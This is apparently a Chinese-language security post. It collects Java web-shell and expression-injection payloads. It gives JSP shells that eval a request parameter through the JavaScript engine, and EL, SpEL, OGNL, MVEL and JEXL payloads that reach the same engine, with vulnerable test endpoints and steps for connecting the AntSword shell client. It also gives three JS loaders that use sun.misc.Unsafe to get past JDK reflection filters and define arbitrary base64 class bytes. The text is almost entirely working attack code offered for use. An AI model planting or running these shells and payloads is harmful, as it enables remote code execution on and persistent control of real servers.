From CodeExec to JS

jsp 2 js

shell.jsp

1
2
3
4
5
6
7
<%
javax.script.ScriptEngine engine = new javax.script.ScriptEngineManager().getEngineByName("js");
engine.put("request", request);
engine.put("response", response);
engine.eval(request.getParameter("mr6"));

%>

甚至不用绑定request/response对象也可以

1
2
3
<%
out.println(new javax.script.ScriptEngineManager().getEngineByName("js").eval(request.getParameter("ant")));
%>

类型选择jspjs,密码mr6

image-20230802163059975

jsp 2 el (2 js)

1
2
3
<%
out.print(org.apache.jasper.runtime.PageContextImpl.proprietaryEvaluate(request.getParameter("ant"), String.class, pageContext, null));
%>

打开蚁剑,jspjs类型,el编码器,一键连接。

image-20230802163427699

EL 2 js

1
${''.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval(code)}

jspjs类型,选择el编码器,一键连接

image-20230802163548579

Spel 2 js

1
${''.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval(code)}

springboot设置一个测试环境,以spel为例

1
2
3
4
5
6
@RequestMapping("/spel")
public String eval(String spel){
SpelExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression(spel);
return expression.getValue().toString();
}

蚁剑选择spelbase64编码器可一键连接

image-20230802163739313

image-20230802163750991

Ognl 2 js

1
(new javax.script.ScriptEngineManager()).getEngineByName("js").eval(code)

漏洞环境

1
2
3
4
5
6
7
@RequestMapping("/ognl")
public String eval(String str) throws Exception {
OgnlContext context = new OgnlContext();
Object ognl = Ognl.parseExpression(str);
Object value = Ognl.getValue(ognl, context, context.getRoot());
return value.toString();
}

选择ognl编码器,一键连接

image-20230802163807149

Mvel 2 js

1
new javax.script.ScriptEngineManager().getEngineByName("js").eval(code);

Jexl 2 js

1
''.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval(code)

From JS to defineClass

all.js

适用范围:jdk6-14

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
var theUnsafeMethod = java.lang.Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
theUnsafeMethod.setAccessible(true);
unsafe = theUnsafeMethod.get(null);

function bypass() {
var reflectionClass = java.lang.Class.forName("jdk.internal.reflect.Reflection");
var classBuffer = reflectionClass.getResourceAsStream("Reflection.class").readAllBytes();
var reflectionAnonymousClass = unsafe.defineAnonymousClass(reflectionClass, classBuffer, null);

var fieldFilterMapField = reflectionAnonymousClass.getDeclaredField("fieldFilterMap");

if (fieldFilterMapField.getType().isAssignableFrom(java.lang.Class.forName("java.util.HashMap"))) {
unsafe.putObject(reflectionClass, unsafe.staticFieldOffset(fieldFilterMapField), java.lang.Class.forName("java.util.HashMap").newInstance());
}
var clz = java.lang.Class.forName("java.lang.Class").getResourceAsStream("Class.class").readAllBytes();
var ClassAnonymousClass = unsafe.defineAnonymousClass(java.lang.Class.forName("java.lang.Class"), clz, null);
var reflectionDataField = ClassAnonymousClass.getDeclaredField("reflectionData");
unsafe.putObject(java.lang.Class.forName("java.lang.Class"), unsafe.objectFieldOffset(reflectionDataField), null);
}

function Base64DecodeToByte(str) {
var bt;
try {
bt = java.lang.Class.forName("sun.misc.BASE64Decoder").newInstance().decodeBuffer(str);
} catch (e) {
bt = java.util.Base64.getDecoder().decode(str);
}
return bt;
}

function defineClass(classBytes) {
try {
unsafe.defineClass(null, classBytes, 0, classBytes.length, null, null).newInstance();
} catch (e) {
bypass()
var defineClassMethod = java.lang.Class.forName("java.lang.ClassLoader").getDeclaredMethod(
"defineClass",
java.lang.Class.forName("[B"),
java.lang.Integer.TYPE,
java.lang.Integer.TYPE
);
var modifiers = defineClassMethod.getClass().getDeclaredField("modifiers");
unsafe.putShort(defineClassMethod, unsafe.objectFieldOffset(modifiers), 0x00000001);
var cc = defineClassMethod.invoke(
java.lang.Thread.currentThread().getContextClassLoader(),
classBytes,
0,
classBytes.length
);
cc.newInstance();
}
}
defineClass(Base64DecodeToByte(code));

defineAnonymousClass.js

适用范围:JDK6-14

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function Base64DecodeToByte(str) {
var bt;
try {
bt = java.lang.Class.forName("sun.misc.BASE64Decoder").newInstance().decodeBuffer(str);
} catch (e) {
bt = java.util.Base64.getDecoder().decode(str);
}
return bt;
}

function defineClass(classBytes) {
var theUnsafe = java.lang.Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
unsafe = theUnsafe.get(null);
unsafe.defineAnonymousClass(java.lang.Class.forName("java.lang.Class"), classBytes, null).newInstance();
}

defineClass(Base64DecodeToByte(code));

goby.js

适用范围:JDK6-14

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
try {
load("nashorn:mozilla_compat.js");
} catch (e) {
}

function getUnsafe() {
var theUnsafeMethod =
java.lang.Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
theUnsafeMethod.setAccessible(true);
return theUnsafeMethod.get(null);
}

function removeClassCache(clazz) {
var unsafe = getUnsafe();
var clazzAnonymousClass = unsafe.defineAnonymousClass(
clazz,
java.lang.Class.forName("java.lang.Class")
.getResourceAsStream("Class.class")
.readAllBytes(),
null
);
var reflectionDataField =
clazzAnonymousClass.getDeclaredField("reflectionData");
unsafe.putObject(clazz, unsafe.objectFieldOffset(reflectionDataField), null);
}

function bypassReflectionFilter() {
var reflectionClass;
try {
reflectionClass = java.lang.Class.forName(
"jdk.internal.reflect.Reflection"
);
} catch (error) {
reflectionClass = java.lang.Class.forName("sun.reflect.Reflection");
}
var unsafe = getUnsafe();
var classBuffer = reflectionClass
.getResourceAsStream("Reflection.class")
.readAllBytes();
var reflectionAnonymousClass = unsafe.defineAnonymousClass(
reflectionClass,
classBuffer,
null
);
var fieldFilterMapField =
reflectionAnonymousClass.getDeclaredField("fieldFilterMap");
var methodFilterMapField =
reflectionAnonymousClass.getDeclaredField("methodFilterMap");
if (
fieldFilterMapField
.getType()
.isAssignableFrom(java.lang.Class.forName("java.util.HashMap"))
) {
unsafe.putObject(
reflectionClass,
unsafe.staticFieldOffset(fieldFilterMapField),
java.lang.Class.forName("java.util.HashMap")
.getConstructor()
.newInstance()
);
}
if (
methodFilterMapField
.getType()
.isAssignableFrom(java.lang.Class.forName("java.util.HashMap"))
) {
unsafe.putObject(
reflectionClass,
unsafe.staticFieldOffset(methodFilterMapField),
java.lang.Class.forName("java.util.HashMap")
.getConstructor()
.newInstance()
);
}
removeClassCache(java.lang.Class.forName("java.lang.Class"));
}

function setAccessible(accessibleObject) {
var unsafe = getUnsafe();
var overrideField = java.lang.Class.forName(
"java.lang.reflect.AccessibleObject"
).getDeclaredField("override");
var offset = unsafe.objectFieldOffset(overrideField);
unsafe.putBoolean(accessibleObject, offset, true);
}

function defineClass(bytes) {
var clz = null;
var version = java.lang.System.getProperty("java.version");
var unsafe = getUnsafe();
var classLoader = new java.net.URLClassLoader(
java.lang.reflect.Array.newInstance(
java.lang.Class.forName("java.net.URL"),
0
)
);
try {
if (version.split(".")[0] >= 11) {
bypassReflectionFilter();
defineClassMethod = java.lang.Class.forName(
"java.lang.ClassLoader"
).getDeclaredMethod(
"defineClass",
java.lang.Class.forName("[B"),
java.lang.Integer.TYPE,
java.lang.Integer.TYPE
);
setAccessible(defineClassMethod);
clz = defineClassMethod.invoke(classLoader, bytes, 0, bytes.length);
} else {
var protectionDomain = new java.security.ProtectionDomain(
new java.security.CodeSource(
null,
java.lang.reflect.Array.newInstance(
java.lang.Class.forName("java.security.cert.Certificate"),
0
)
),
null,
classLoader,
[]
);
clz = unsafe.defineClass(
null,
bytes,
0,
bytes.length,
classLoader,
protectionDomain
);
}
} catch (error) {
error.printStackTrace();
} finally {
return clz;
}
}

function base64DecodeToByte(str) {
var bt;
try {
bt = java.lang.Class.forName("sun.misc.BASE64Decoder").newInstance().decodeBuffer(str);
} catch (e) {
bt = java.lang.Class.forName("java.util.Base64").newInstance().getDecoder().decode(str);
}
return bt;
}
clz = defineClass(base64DecodeToByte(code));
clz.newInstance();

Reference

https://github.com/yzddmr6/Java-Js-Engine-Payloads